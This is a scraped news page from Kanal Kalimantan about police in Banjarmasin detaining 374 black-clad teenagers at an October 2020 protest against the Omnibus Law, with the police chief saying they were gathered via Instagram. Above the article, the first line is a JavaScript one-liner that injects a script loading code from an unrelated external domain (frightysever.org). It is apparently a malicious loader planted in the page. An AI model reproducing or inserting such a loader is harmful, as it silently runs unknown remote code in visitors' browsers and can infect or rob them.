(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kalimantan Selatan

Kenakan Pakaian Serba Hitam, Kapolda Kalsel: Remaja Ini Diajak Demo dari Medsos

KANALKALIMANTAN.COM, BANJARMASIN – Sebanyak 374 remaja yang mencoba ikut aksi demonstrasi penolakan Undang-Undang Cipta Kerja pada Kamis (15/10/2020) diamankan aparat kepolisian. Menariknya, seluruh remaja yang diamankan menggunakan pakaian berwarna serba hitam.

Hal ini diakui oleh Kapolda Kalsel Irjen Pol Nico Afinta usai memberikan keterangan resmi di aula Bhayangkari Mapolda Kalsel di Banjarmasin, Jumat (16/10/2020) siang. “Mereka (dikoordinir) melalui media sosial dan sudah ada ajakan untuk berkumpul,” kata Nico.

Namun demikian, Nico menegaskan, jajarannya perlu melakukan pendalaman terkait alasan remaja-remaja ini untuk menggunakan pakaian serba hitam. Yang jelas ini merupakan simbol bagi para remaja ini untuk melakukan kegiatan secara bersama.

“Nanti akan kami dalami siapa (dalangnya), mengapa dan bagaimana serta siapa saja yang bisa melakukan. Tetapi sementara mereka mengikuti link ajakan melalui Instagram,” terang Nico.

Ditanya apakah ada grup WhatsApp yang diduga berisi ajakan untuk membawa senjata tajam, Nico mengatakan hingga kini belum ada laporan terkait itu. “Ajakan untuk ikut unjuk rasa, ada di Instagram dan ajakan untuk menyuarakan penolakan UU Cipta Kerja. Terkait ajakan rusuh, masih kami dalami,” imbuh Nico. (kanalkalimantan.com/fikri)

Reporter: Fikri
Editor : Bie